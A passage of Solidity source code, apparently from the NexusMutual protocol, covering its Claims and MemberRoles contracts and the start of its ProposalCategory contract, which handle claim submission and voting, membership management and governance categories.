return now < tk.isLockedForMV(_of);
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "../capital/Pool.sol";
import "../claims/ClaimsReward.sol";
import "../token/NXMToken.sol";
import "../token/TokenController.sol";
import "../token/TokenFunctions.sol";
import "./ClaimsData.sol";
import "./Incidents.sol";
contract Claims is Iupgradable {
using SafeMath for uint;
TokenController internal tc;
ClaimsReward internal cr;
Pool internal p1;
ClaimsData internal cd;
TokenData internal td;
QuotationData internal qd;
Incidents internal incidents;
uint private constant DECIMAL1E18 = uint(10) ** 18;
/**
* @dev Sets the status of claim using claim id.
* @param claimId claim id.
* @param stat status to be set.
*/
function setClaimStatus(uint claimId, uint stat) external onlyInternal {
_setClaimStatus(claimId, stat);
}
/**
* @dev Calculates total amount that has been used to assess a claim.
* Computaion:Adds acceptCA(tokens used for voting in favor of a claim)
* denyCA(tokens used for voting against a claim) * current token price.
* @param claimId Claim Id.
* @param member Member type 0 -> Claim Assessors, else members.
* @return tokens Total Amount used in Claims assessment.
*/
function getCATokens(uint claimId, uint member) external view returns (uint tokens) {
uint coverId;
(, coverId) = cd.getClaimCoverId(claimId);
bytes4 currency = qd.getCurrencyOfCover(coverId);
address asset = cr.getCurrencyAssetAddress(currency);
uint tokenx1e18 = p1.getTokenPrice(asset);
uint accept;
uint deny;
if (member == 0) {
(, accept, deny) = cd.getClaimsTokenCA(claimId);
} else {
(, accept, deny) = cd.getClaimsTokenMV(claimId);
}
tokens = ((accept.add(deny)).mul(tokenx1e18)).div(DECIMAL1E18); // amount (not in tokens)
}
/**
* Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public onlyInternal {
td = TokenData(ms.getLatestAddress("TD"));
tc = TokenController(ms.getLatestAddress("TC"));
p1 = Pool(ms.getLatestAddress("P1"));
cr = ClaimsReward(ms.getLatestAddress("CR"));
cd = ClaimsData(ms.getLatestAddress("CD"));
qd = QuotationData(ms.getLatestAddress("QD"));
incidents = Incidents(ms.getLatestAddress("IC"));
}
/**
* @dev Submits a claim for a given cover note.
* Adds claim to queue incase of emergency pause else directly submits the claim.
* @param coverId Cover Id.
*/
function submitClaim(uint coverId) external {
_submitClaim(coverId, msg.sender);
}
function submitClaimForMember(uint coverId, address member) external onlyInternal {
_submitClaim(coverId, member);
}
function _submitClaim(uint coverId, address member) internal {
require(!ms.isPause(), "Claims: System is paused");
(/* id */, address contractAddress) = qd.getscAddressOfCover(coverId);
address token = incidents.coveredToken(contractAddress);
require(token == address(0), "Claims: Product type does not allow claims");
address coverOwner = qd.getCoverMemberAddress(coverId);
require(coverOwner == member, "Claims: Not cover owner");
uint expirationDate = qd.getValidityOfCover(coverId);
uint gracePeriod = tc.claimSubmissionGracePeriod();
require(expirationDate.add(gracePeriod) > now, "Claims: Grace period has expired");
tc.markCoverClaimOpen(coverId);
qd.changeCoverStatusNo(coverId, uint8(QuotationData.CoverStatus.ClaimSubmitted));
uint claimId = cd.actualClaimLength();
cd.addClaim(claimId, coverId, coverOwner, now);
cd.callClaimEvent(coverId, coverOwner, claimId, now);
}
// solhint-disable-next-line no-empty-blocks
function submitClaimAfterEPOff() external pure {}
/**
* @dev Castes vote for members who have tokens locked under Claims Assessment
* @param claimId claim id.
* @param verdict 1 for Accept,-1 for Deny.
*/
function submitCAVote(uint claimId, int8 verdict) public isMemberAndcheckPause {
require(checkVoteClosing(claimId) != 1);
require(cd.userClaimVotePausedOn(msg.sender).add(cd.pauseDaysCA()) < now);
uint tokens = tc.tokensLockedAtTime(msg.sender, "CLA", now.add(cd.claimDepositTime()));
require(tokens > 0);
uint stat;
(, stat) = cd.getClaimStatusNumber(claimId);
require(stat == 0);
require(cd.getUserClaimVoteCA(msg.sender, claimId) == 0);
td.bookCATokens(msg.sender);
cd.addVote(msg.sender, tokens, claimId, verdict);
cd.callVoteEvent(msg.sender, claimId, "CAV", tokens, now, verdict);
uint voteLength = cd.getAllVoteLength();
cd.addClaimVoteCA(claimId, voteLength);
cd.setUserClaimVoteCA(msg.sender, claimId, voteLength);
cd.setClaimTokensCA(claimId, verdict, tokens);
tc.extendLockOf(msg.sender, "CLA", td.lockCADays());
int close = checkVoteClosing(claimId);
if (close == 1) {
cr.changeClaimStatus(claimId);
}
}
/**
* @dev Submits a member vote for assessing a claim.
* Tokens other than those locked under Claims
* Assessment can be used to cast a vote for a given claim id.
* @param claimId Selected claim id.
* @param verdict 1 for Accept,-1 for Deny.
*/
function submitMemberVote(uint claimId, int8 verdict) public isMemberAndcheckPause {
require(checkVoteClosing(claimId) != 1);
uint stat;
uint tokens = tc.totalBalanceOf(msg.sender);
(, stat) = cd.getClaimStatusNumber(claimId);
require(stat >= 1 && stat <= 5);
require(cd.getUserClaimVoteMember(msg.sender, claimId) == 0);
cd.addVote(msg.sender, tokens, claimId, verdict);
cd.callVoteEvent(msg.sender, claimId, "MV", tokens, now, verdict);
tc.lockForMemberVote(msg.sender, td.lockMVDays());
uint voteLength = cd.getAllVoteLength();
cd.addClaimVotemember(claimId, voteLength);
cd.setUserClaimVoteMember(msg.sender, claimId, voteLength);
cd.setClaimTokensMV(claimId, verdict, tokens);
int close = checkVoteClosing(claimId);
if (close == 1) {
cr.changeClaimStatus(claimId);
}
}
// solhint-disable-next-line no-empty-blocks
function pauseAllPendingClaimsVoting() external pure {}
// solhint-disable-next-line no-empty-blocks
function startAllPendingClaimsVoting() external pure {}
/**
* @dev Checks if voting of a claim should be closed or not.
* @param claimId Claim Id.
* @return close 1 -> voting should be closed, 0 -> if voting should not be closed,
* -1 -> voting has already been closed.
*/
function checkVoteClosing(uint claimId) public view returns (int8 close) {
close = 0;
uint status;
(, status) = cd.getClaimStatusNumber(claimId);
uint dateUpd = cd.getClaimDateUpd(claimId);
if (status == 12 && dateUpd.add(cd.payoutRetryTime()) < now) {
if (cd.getClaimState12Count(claimId) < 60)
close = 1;
}
if (status > 5 && status != 12) {
close = - 1;
} else if (status != 12 && dateUpd.add(cd.maxVotingTime()) <= now) {
close = 1;
} else if (status != 12 && dateUpd.add(cd.minVotingTime()) >= now) {
close = 0;
} else if (status == 0 || (status >= 1 && status <= 5)) {
close = _checkVoteClosingFinal(claimId, status);
}
}
/**
* @dev Checks if voting of a claim should be closed or not.
* Internally called by checkVoteClosing method
* for Claims whose status number is 0 or status number lie between 2 and 6.
* @param claimId Claim Id.
* @param status Current status of claim.
* @return close 1 if voting should be closed,0 in case voting should not be closed,
* -1 if voting has already been closed.
*/
function _checkVoteClosingFinal(uint claimId, uint status) internal view returns (int8 close) {
close = 0;
uint coverId;
(, coverId) = cd.getClaimCoverId(claimId);
bytes4 currency = qd.getCurrencyOfCover(coverId);
address asset = cr.getCurrencyAssetAddress(currency);
uint tokenx1e18 = p1.getTokenPrice(asset);
uint accept;
uint deny;
(, accept, deny) = cd.getClaimsTokenCA(claimId);
uint caTokens = ((accept.add(deny)).mul(tokenx1e18)).div(DECIMAL1E18);
(, accept, deny) = cd.getClaimsTokenMV(claimId);
uint mvTokens = ((accept.add(deny)).mul(tokenx1e18)).div(DECIMAL1E18);
uint sumassured = qd.getCoverSumAssured(coverId).mul(DECIMAL1E18);
if (status == 0 && caTokens >= sumassured.mul(10)) {
close = 1;
} else if (status >= 1 && status <= 5 && mvTokens >= sumassured.mul(10)) {
close = 1;
}
}
/**
* @dev Changes the status of an existing claim id, based on current
* status and current conditions of the system
* @param claimId Claim Id.
* @param stat status number.
*/
function _setClaimStatus(uint claimId, uint stat) internal {
uint origstat;
uint state12Count;
uint dateUpd;
uint coverId;
(, coverId, , origstat, dateUpd, state12Count) = cd.getClaim(claimId);
(, origstat) = cd.getClaimStatusNumber(claimId);
if (stat == 12 && origstat == 12) {
cd.updateState12Count(claimId, 1);
}
cd.setClaimStatus(claimId, stat);
if (state12Count >= 60 && stat == 12) {
cd.setClaimStatus(claimId, 13);
qd.changeCoverStatusNo(coverId, uint8(QuotationData.CoverStatus.ClaimDenied));
}
cd.setClaimdateUpd(claimId, now);
}
}
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "../claims/ClaimsReward.sol";
import "../cover/QuotationData.sol";
import "../token/TokenController.sol";
import "../token/TokenData.sol";
import "../token/TokenFunctions.sol";
import "./Governance.sol";
import "./external/Governed.sol";
contract MemberRoles is Governed, Iupgradable {
TokenController public tc;
TokenData internal td;
QuotationData internal qd;
ClaimsReward internal cr;
Governance internal gv;
TokenFunctions internal tf;
NXMToken public tk;
struct MemberRoleDetails {
uint memberCounter;
mapping(address => bool) memberActive;
address[] memberAddress;
address authorized;
}
enum Role {UnAssigned, AdvisoryBoard, Member, Owner}
event MemberRole(uint256 indexed roleId, bytes32 roleName, string roleDescription);
event switchedMembership(address indexed previousMember, address indexed newMember, uint timeStamp);
event ClaimPayoutAddressSet(address indexed member, address indexed payoutAddress);
MemberRoleDetails[] internal memberRoleData;
bool internal constructorCheck;
uint public maxABCount;
bool public launched;
uint public launchedOn;
mapping (address => address payable) internal claimPayoutAddress;
modifier checkRoleAuthority(uint _memberRoleId) {
if (memberRoleData[_memberRoleId].authorized != address(0))
require(msg.sender == memberRoleData[_memberRoleId].authorized);
else
require(isAuthorizedToGovern(msg.sender), "Not Authorized");
_;
}
/**
* @dev to swap advisory board member
* @param _newABAddress is address of new AB member
* @param _removeAB is advisory board member to be removed
*/
function swapABMember(
address _newABAddress,
address _removeAB
)
external
checkRoleAuthority(uint(Role.AdvisoryBoard)) {
_updateRole(_newABAddress, uint(Role.AdvisoryBoard), true);
_updateRole(_removeAB, uint(Role.AdvisoryBoard), false);
}
/**
* @dev to swap the owner address
* @param _newOwnerAddress is the new owner address
*/
function swapOwner(
address _newOwnerAddress
)
external {
require(msg.sender == address(ms));
_updateRole(ms.owner(), uint(Role.Owner), false);
_updateRole(_newOwnerAddress, uint(Role.Owner), true);
}
/**
* @dev is used to add initital advisory board members
* @param abArray is the list of initial advisory board members
*/
function addInitialABMembers(address[] calldata abArray) external onlyOwner {
//Ensure that NXMaster has initialized.
require(ms.masterInitialized());
require(maxABCount >=
SafeMath.add(numberOfMembers(uint(Role.AdvisoryBoard)), abArray.length)
);
//AB count can't exceed maxABCount
for (uint i = 0; i < abArray.length; i++) {
require(checkRole(abArray[i], uint(MemberRoles.Role.Member)));
_updateRole(abArray[i], uint(Role.AdvisoryBoard), true);
}
}
/**
* @dev to change max number of AB members allowed
* @param _val is the new value to be set
*/
function changeMaxABCount(uint _val) external onlyInternal {
maxABCount = _val;
}
/**
* @dev Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public {
td = TokenData(ms.getLatestAddress("TD"));
cr = ClaimsReward(ms.getLatestAddress("CR"));
qd = QuotationData(ms.getLatestAddress("QD"));
gv = Governance(ms.getLatestAddress("GV"));
tf = TokenFunctions(ms.getLatestAddress("TF"));
tk = NXMToken(ms.tokenAddress());
tc = TokenController(ms.getLatestAddress("TC"));
}
/**
* @dev to change the master address
* @param _masterAddress is the new master address
*/
function changeMasterAddress(address _masterAddress) public {
if (masterAddress != address(0)) {
require(masterAddress == msg.sender);
}
masterAddress = _masterAddress;
ms = INXMMaster(_masterAddress);
nxMasterAddress = _masterAddress;
}
/**
* @dev to initiate the member roles
* @param _firstAB is the address of the first AB member
* @param memberAuthority is the authority (role) of the member
*/
function memberRolesInitiate(address _firstAB, address memberAuthority) public {
require(!constructorCheck);
_addInitialMemberRoles(_firstAB, memberAuthority);
constructorCheck = true;
}
/// @dev Adds new member role
/// @param _roleName New role name
/// @param _roleDescription New description hash
/// @param _authorized Authorized member against every role id
function addRole(//solhint-disable-line
bytes32 _roleName,
string memory _roleDescription,
address _authorized
)
public
onlyAuthorizedToGovern {
_addRole(_roleName, _roleDescription, _authorized);
}
/// @dev Assign or Delete a member from specific role.
/// @param _memberAddress Address of Member
/// @param _roleId RoleId to update
/// @param _active active is set to be True if we want to assign this role to member, False otherwise!
function updateRole(//solhint-disable-line
address _memberAddress,
uint _roleId,
bool _active
)
public
checkRoleAuthority(_roleId) {
_updateRole(_memberAddress, _roleId, _active);
}
/**
* @dev to add members before launch
* @param userArray is list of addresses of members
* @param tokens is list of tokens minted for each array element
*/
function addMembersBeforeLaunch(address[] memory userArray, uint[] memory tokens) public onlyOwner {
require(!launched);
for (uint i = 0; i < userArray.length; i++) {
require(!ms.isMember(userArray[i]));
tc.addToWhitelist(userArray[i]);
_updateRole(userArray[i], uint(Role.Member), true);
tc.mint(userArray[i], tokens[i]);
}
launched = true;
launchedOn = now;
}
/**
* @dev Called by user to pay joining membership fee
*/
function payJoiningFee(address _userAddress) public payable {
require(_userAddress != address(0));
require(!ms.isPause(), "Emergency Pause Applied");
if (msg.sender == address(ms.getLatestAddress("QT"))) {
require(td.walletAddress() != address(0), "No walletAddress present");
tc.addToWhitelist(_userAddress);
_updateRole(_userAddress, uint(Role.Member), true);
td.walletAddress().transfer(msg.value);
} else {
require(!qd.refundEligible(_userAddress));
require(!ms.isMember(_userAddress));
require(msg.value == td.joiningFee());
qd.setRefundEligible(_userAddress, true);
}
}
/**
* @dev to perform kyc verdict
* @param _userAddress whose kyc is being performed
* @param verdict of kyc process
*/
function kycVerdict(address payable _userAddress, bool verdict) public {
require(msg.sender == qd.kycAuthAddress());
require(!ms.isPause());
require(_userAddress != address(0));
require(!ms.isMember(_userAddress));
require(qd.refundEligible(_userAddress));
if (verdict) {
qd.setRefundEligible(_userAddress, false);
uint fee = td.joiningFee();
tc.addToWhitelist(_userAddress);
_updateRole(_userAddress, uint(Role.Member), true);
td.walletAddress().transfer(fee); // solhint-disable-line
} else {
qd.setRefundEligible(_userAddress, false);
_userAddress.transfer(td.joiningFee()); // solhint-disable-line
}
}
/**
* @dev withdraws membership for msg.sender if currently a member.
*/
function withdrawMembership() public {
require(!ms.isPause() && ms.isMember(msg.sender));
require(tc.totalLockedBalance(msg.sender) == 0); // solhint-disable-line
require(!tf.isLockedForMemberVote(msg.sender)); // No locked tokens for Member/Governance voting
require(cr.getAllPendingRewardOfUser(msg.sender) == 0); // No pending reward to be claimed(claim assesment).
gv.removeDelegation(msg.sender);
tc.burnFrom(msg.sender, tk.balanceOf(msg.sender));
_updateRole(msg.sender, uint(Role.Member), false);
tc.removeFromWhitelist(msg.sender); // need clarification on whitelist
if (claimPayoutAddress[msg.sender] != address(0)) {
claimPayoutAddress[msg.sender] = address(0);
emit ClaimPayoutAddressSet(msg.sender, address(0));
}
}
/**
* @dev switches membership for msg.sender to the specified address.
* @param newAddress address of user to forward membership.
*/
function switchMembership(address newAddress) external {
_switchMembership(msg.sender, newAddress);
tk.transferFrom(msg.sender, newAddress, tk.balanceOf(msg.sender));
}
function switchMembershipOf(address member, address newAddress) external onlyInternal {
_switchMembership(member, newAddress);
}
/**
* @dev switches membership for member to the specified address.
* @param newAddress address of user to forward membership.
*/
function _switchMembership(address member, address newAddress) internal {
require(!ms.isPause() && ms.isMember(member) && !ms.isMember(newAddress));
require(tc.totalLockedBalance(member) == 0); // solhint-disable-line
require(!tf.isLockedForMemberVote(member)); // No locked tokens for Member/Governance voting
require(cr.getAllPendingRewardOfUser(member) == 0); // No pending reward to be claimed(claim assesment).
gv.removeDelegation(member);
tc.addToWhitelist(newAddress);
_updateRole(newAddress, uint(Role.Member), true);
_updateRole(member, uint(Role.Member), false);
tc.removeFromWhitelist(member);
address payable previousPayoutAddress = claimPayoutAddress[member];
if (previousPayoutAddress != address(0)) {
address payable storedAddress = previousPayoutAddress == newAddress ? address(0) : previousPayoutAddress;
claimPayoutAddress[member] = address(0);
claimPayoutAddress[newAddress] = storedAddress;
// emit event for old address reset
emit ClaimPayoutAddressSet(member, address(0));
if (storedAddress != address(0)) {
// emit event for setting the payout address on the new member address if it's non zero
emit ClaimPayoutAddressSet(newAddress, storedAddress);
}
}
emit switchedMembership(member, newAddress, now);
}
function getClaimPayoutAddress(address payable _member) external view returns (address payable) {
address payable payoutAddress = claimPayoutAddress[_member];
return payoutAddress != address(0) ? payoutAddress : _member;
}
function setClaimPayoutAddress(address payable _address) external {
require(!ms.isPause(), "system is paused");
require(ms.isMember(msg.sender), "sender is not a member");
require(_address != msg.sender, "should be different than the member address");
claimPayoutAddress[msg.sender] = _address;
emit ClaimPayoutAddressSet(msg.sender, _address);
}
/// @dev Return number of member roles
function totalRoles() public view returns (uint256) {//solhint-disable-line
return memberRoleData.length;
}
/// @dev Change Member Address who holds the authority to Add/Delete any member from specific role.
/// @param _roleId roleId to update its Authorized Address
/// @param _newAuthorized New authorized address against role id
function changeAuthorized(uint _roleId, address _newAuthorized) public checkRoleAuthority(_roleId) {//solhint-disable-line
memberRoleData[_roleId].authorized = _newAuthorized;
}
/// @dev Gets the member addresses assigned by a specific role
/// @param _memberRoleId Member role id
/// @return roleId Role id
/// @return allMemberAddress Member addresses of specified role id
function members(uint _memberRoleId) public view returns (uint, address[] memory memberArray) {//solhint-disable-line
uint length = memberRoleData[_memberRoleId].memberAddress.length;
uint i;
uint j = 0;
memberArray = new address[](memberRoleData[_memberRoleId].memberCounter);
for (i = 0; i < length; i++) {
address member = memberRoleData[_memberRoleId].memberAddress[i];
if (memberRoleData[_memberRoleId].memberActive[member] && !_checkMemberInArray(member, memberArray)) {//solhint-disable-line
memberArray[j] = member;
j++;
}
}
return (_memberRoleId, memberArray);
}
/// @dev Gets all members' length
/// @param _memberRoleId Member role id
/// @return memberRoleData[_memberRoleId].memberCounter Member length
function numberOfMembers(uint _memberRoleId) public view returns (uint) {//solhint-disable-line
return memberRoleData[_memberRoleId].memberCounter;
}
/// @dev Return member address who holds the right to add/remove any member from specific role.
function authorized(uint _memberRoleId) public view returns (address) {//solhint-disable-line
return memberRoleData[_memberRoleId].authorized;
}
/// @dev Get All role ids array that has been assigned to a member so far.
function roles(address _memberAddress) public view returns (uint[] memory) {//solhint-disable-line
uint length = memberRoleData.length;
uint[] memory assignedRoles = new uint[](length);
uint counter = 0;
for (uint i = 1; i < length; i++) {
if (memberRoleData[i].memberActive[_memberAddress]) {
assignedRoles[counter] = i;
counter++;
}
}
return assignedRoles;
}
/// @dev Returns true if the given role id is assigned to a member.
/// @param _memberAddress Address of member
/// @param _roleId Checks member's authenticity with the roleId.
/// i.e. Returns true if this roleId is assigned to member
function checkRole(address _memberAddress, uint _roleId) public view returns (bool) {//solhint-disable-line
if (_roleId == uint(Role.UnAssigned))
return true;
else
if (memberRoleData[_roleId].memberActive[_memberAddress]) //solhint-disable-line
return true;
else
return false;
}
/// @dev Return total number of members assigned against each role id.
/// @return totalMembers Total members in particular role id
function getMemberLengthForAllRoles() public view returns (uint[] memory totalMembers) {//solhint-disable-line
totalMembers = new uint[](memberRoleData.length);
for (uint i = 0; i < memberRoleData.length; i++) {
totalMembers[i] = numberOfMembers(i);
}
}
/**
* @dev to update the member roles
* @param _memberAddress in concern
* @param _roleId the id of role
* @param _active if active is true, add the member, else remove it
*/
function _updateRole(address _memberAddress,
uint _roleId,
bool _active) internal {
// require(_roleId != uint(Role.TokenHolder), "Membership to Token holder is detected automatically");
if (_active) {
require(!memberRoleData[_roleId].memberActive[_memberAddress]);
memberRoleData[_roleId].memberCounter = SafeMath.add(memberRoleData[_roleId].memberCounter, 1);
memberRoleData[_roleId].memberActive[_memberAddress] = true;
memberRoleData[_roleId].memberAddress.push(_memberAddress);
} else {
require(memberRoleData[_roleId].memberActive[_memberAddress]);
memberRoleData[_roleId].memberCounter = SafeMath.sub(memberRoleData[_roleId].memberCounter, 1);
delete memberRoleData[_roleId].memberActive[_memberAddress];
}
}
/// @dev Adds new member role
/// @param _roleName New role name
/// @param _roleDescription New description hash
/// @param _authorized Authorized member against every role id
function _addRole(
bytes32 _roleName,
string memory _roleDescription,
address _authorized
) internal {
emit MemberRole(memberRoleData.length, _roleName, _roleDescription);
memberRoleData.push(MemberRoleDetails(0, new address[](0), _authorized));
}
/**
* @dev to check if member is in the given member array
* @param _memberAddress in concern
* @param memberArray in concern
* @return boolean to represent the presence
*/
function _checkMemberInArray(
address _memberAddress,
address[] memory memberArray
)
internal
pure
returns (bool memberExists)
{
uint i;
for (i = 0; i < memberArray.length; i++) {
if (memberArray[i] == _memberAddress) {
memberExists = true;
break;
}
}
}
/**
* @dev to add initial member roles
* @param _firstAB is the member address to be added
* @param memberAuthority is the member authority(role) to be added for
*/
function _addInitialMemberRoles(address _firstAB, address memberAuthority) internal {
maxABCount = 5;
_addRole("Unassigned", "Unassigned", address(0));
_addRole(
"Advisory Board",
"Selected few members that are deeply entrusted by the dApp. An ideal advisory board should be a mix of skills of domain, governance, research, technology, consulting etc to improve the performance of the dApp.", //solhint-disable-line
address(0)
);
_addRole(
"Member",
"Represents all users of Mutual.", //solhint-disable-line
memberAuthority
);
_addRole(
"Owner",
"Represents Owner of Mutual.", //solhint-disable-line
address(0)
);
// _updateRole(_firstAB, uint(Role.AdvisoryBoard), true);
_updateRole(_firstAB, uint(Role.Owner), true);
// _updateRole(_firstAB, uint(Role.Member), true);
launchedOn = 0;
}
function memberAtIndex(uint _memberRoleId, uint index) external view returns (address, bool) {
address memberAddress = memberRoleData[_memberRoleId].memberAddress[index];
return (memberAddress, memberRoleData[_memberRoleId].memberActive[memberAddress]);
}
function membersLength(uint _memberRoleId) external view returns (uint) {
return memberRoleData[_memberRoleId].memberAddress.length;
}
}
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "../../abstract/Iupgradable.sol";
import "./MemberRoles.sol";
import "./external/Governed.sol";
import "./external/IProposalCategory.sol";
contract ProposalCategory is Governed, IProposalCategory, Iupgradable {
bool public constructorCheck;
MemberRoles internal mr;
struct CategoryStruct {
uint memberRoleToVote;
uint majorityVotePerc;
uint quorumPerc;
uint[] allowedToCreateProposal;
uint closingTime;
uint minStake;
}
struct CategoryAction {
uint defaultIncentive;
address contractAddress;
bytes2 contractName;
}
CategoryStruct[] internal allCategory;
mapping(uint => CategoryAction) internal categoryActionData;
mapping(uint => uint) public categoryABReq;
mapping(uint => uint) public isSpecialResolution;
mapping(uint => bytes) public categoryActionHashes;
bool public categoryActionHashUpdated;
/**
* @dev Adds new category (Discontinued, moved functionality to newCategory)
* @param _name Category name
* @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
* @param _majorityVotePerc Majority Vote threshold for Each voting layer
* @param _quorumPerc minimum threshold percentage required in voting to calculate result
* @param _allowedToCreateProposal Member roles allowed to create the proposal
* @param _closingTime Vote closing time for Each voting layer
* @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
* @param _contractAddress address of contract to call after proposal is accepted
* @param _contractName name of contract to be called after proposal is accepted
* @param _incentives rewards to distributed after proposal is accepted
*/
function addCategory(
string calldata _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] calldata _allowedToCreateProposal,
uint _closingTime,
string calldata _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] calldata _incentives
) external {}
/**
* @dev Initiates Default settings for Proposal Category contract (Adding default categories)
*/
function proposalCategoryInitiate() external {}
/**
* @dev Initiates Default action function hashes for existing categories
* To be called after the contract has been upgraded by governance
*/
function updateCategoryActionHashes() external onlyOwner {
require(!categoryActionHashUpdated, "Category action hashes already updated");
categoryActionHashUpdated = true;
categoryActionHashes[1] = abi.encodeWithSignature("addRole(bytes32,string,address)");
categoryActionHashes[2] = abi.encodeWithSignature("updateRole(address,uint256,bool)");
categoryActionHashes[3] = abi.encodeWithSignature("newCategory(string,uint256,uint256,uint256,uint256[],uint256,string,address,bytes2,uint256[],string)"); // solhint-disable-line
categoryActionHashes[4] = abi.encodeWithSignature("editCategory(uint256,string,uint256,uint256,uint256,uint256[],uint256,string,address,bytes2,uint256[],string)"); // solhint-disable-line
categoryActionHashes[5] = abi.encodeWithSignature("upgradeContractImplementation(bytes2,address)");
categoryActionHashes[6] = abi.encodeWithSignature("startEmergencyPause()");
categoryActionHashes[7] = abi.encodeWithSignature("addEmergencyPause(bool,bytes4)");
categoryActionHashes[8] = abi.encodeWithSignature("burnCAToken(uint256,uint256,address)");
categoryActionHashes[9] = abi.encodeWithSignature("setUserClaimVotePausedOn(address)");
categoryActionHashes[12] = abi.encodeWithSignature("transferEther(uint256,address)");
categoryActionHashes[13] = abi.encodeWithSignature("addInvestmentAssetCurrency(bytes4,address,bool,uint64,uint64,uint8)"); // solhint-disable-line
categoryActionHashes[14] = abi.encodeWithSignature("changeInvestmentAssetHoldingPerc(bytes4,uint64,uint64)");
categoryActionHashes[15] = abi.encodeWithSignature("changeInvestmentAssetStatus(bytes4,bool)");
categoryActionHashes[16] = abi.encodeWithSignature("swapABMember(address,address)");
categoryActionHashes[17] = abi.encodeWithSignature("addCurrencyAssetCurrency(bytes4,address,uint256)");
categoryActionHashes[20] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[21] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[22] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[23] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[24] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[25] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[26] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[27] = abi.encodeWithSignature("updateAddressParameters(bytes8,address)");
categoryActionHashes[28] = abi.encodeWithSignature("updateOwnerParameters(bytes8,address)");
categoryActionHashes[29] = abi.encodeWithSignature("upgradeMultipleContracts(bytes2[],address[])");
categoryActionHashes[30] = abi.encodeWithSignature("changeCurrencyAssetAddress(bytes4,address)");
categoryActionHashes[31] = abi.encodeWithSignature("changeCurrencyAssetBaseMin(bytes4,uint256)");
categoryActionHashes[32] = abi.encodeWithSignature("changeInvestmentAssetAddressAndDecimal(bytes4,address,uint8)"); // solhint-disable-line
categoryActionHashes[33] = abi.encodeWithSignature("externalLiquidityTrade()");
}
/**
* @dev Gets Total number of categories added till now
*/
function totalCategories() external view returns (uint) {
return allCategory.length;
}
/**
* @dev Gets category details
*/
function category(uint _categoryId) external view returns (uint, uint, uint, uint, uint[] memory, uint, uint) {
return (
_categoryId,
allCategory[_categoryId].memberRoleToVote,
allCategory[_categoryId].majorityVotePerc,
allCategory[_categoryId].quorumPerc,
allCategory[_categoryId].allowedToCreateProposal,
allCategory[_categoryId].closingTime,
allCategory[_categoryId].minStake
);
}
/**
* @dev Gets category ab required and isSpecialResolution
* @return the category id
* @return if AB voting is required
* @return is category a special resolution
*/
function categoryExtendedData(uint _categoryId) external view returns (uint, uint, uint) {
return (
_categoryId,
categoryABReq[_categoryId],
isSpecialResolution[_categoryId]
);
}
/**
* @dev Gets the category acion details
* @param _categoryId is the category id in concern
* @return the category id
* @return the contract address
* @return the contract name
* @return the default incentive
*/
function categoryAction(uint _categoryId) external view returns (uint, address, bytes2, uint) {
return (
_categoryId,
categoryActionData[_categoryId].contractAddress,
categoryActionData[_categoryId].contractName,
categoryActionData[_categoryId].defaultIncentive
);
}
/**
* @dev Gets the category acion details of a category id
* @param _categoryId is the category id in concern
* @return the category id
* @return the contract address
* @return the contract name
* @return the default incentive
* @return action function hash
*/
function categoryActionDetails(uint _categoryId) external view returns (uint, address, bytes2, uint, bytes memory) {
return (
_categoryId,
categoryActionData[_categoryId].contractAddress,
categoryActionData[_categoryId].contractName,
categoryActionData[_categoryId].defaultIncentive,
categoryActionHashes[_categoryId]
);
}
/**
* @dev Updates dependant contract addresses
*/
function changeDependentContractAddress() public {
mr = MemberRoles(ms.getLatestAddress("MR"));
}
/**
* @dev Adds new category
* @param _name Category name
* @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
* @param _majorityVotePerc Majority Vote threshold for Each voting layer
* @param _quorumPerc minimum threshold percentage required in voting to calculate result
* @param _allowedToCreateProposal Member roles allowed to create the proposal
* @param _closingTime Vote closing time for Each voting layer
* @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
* @param _contractAddress address of contract to call after proposal is accepted
* @param _contractName name of contract to be called after proposal is accepted
* @param _incentives rewards to distributed after proposal is accepted
* @param _functionHash function signature to be executed
*/
function newCategory(
string memory _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] memory _allowedToCreateProposal,
uint _closingTime,
string memory _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] memory _incentives,
string memory _functionHash
)
public
onlyAuthorizedToGovern
{
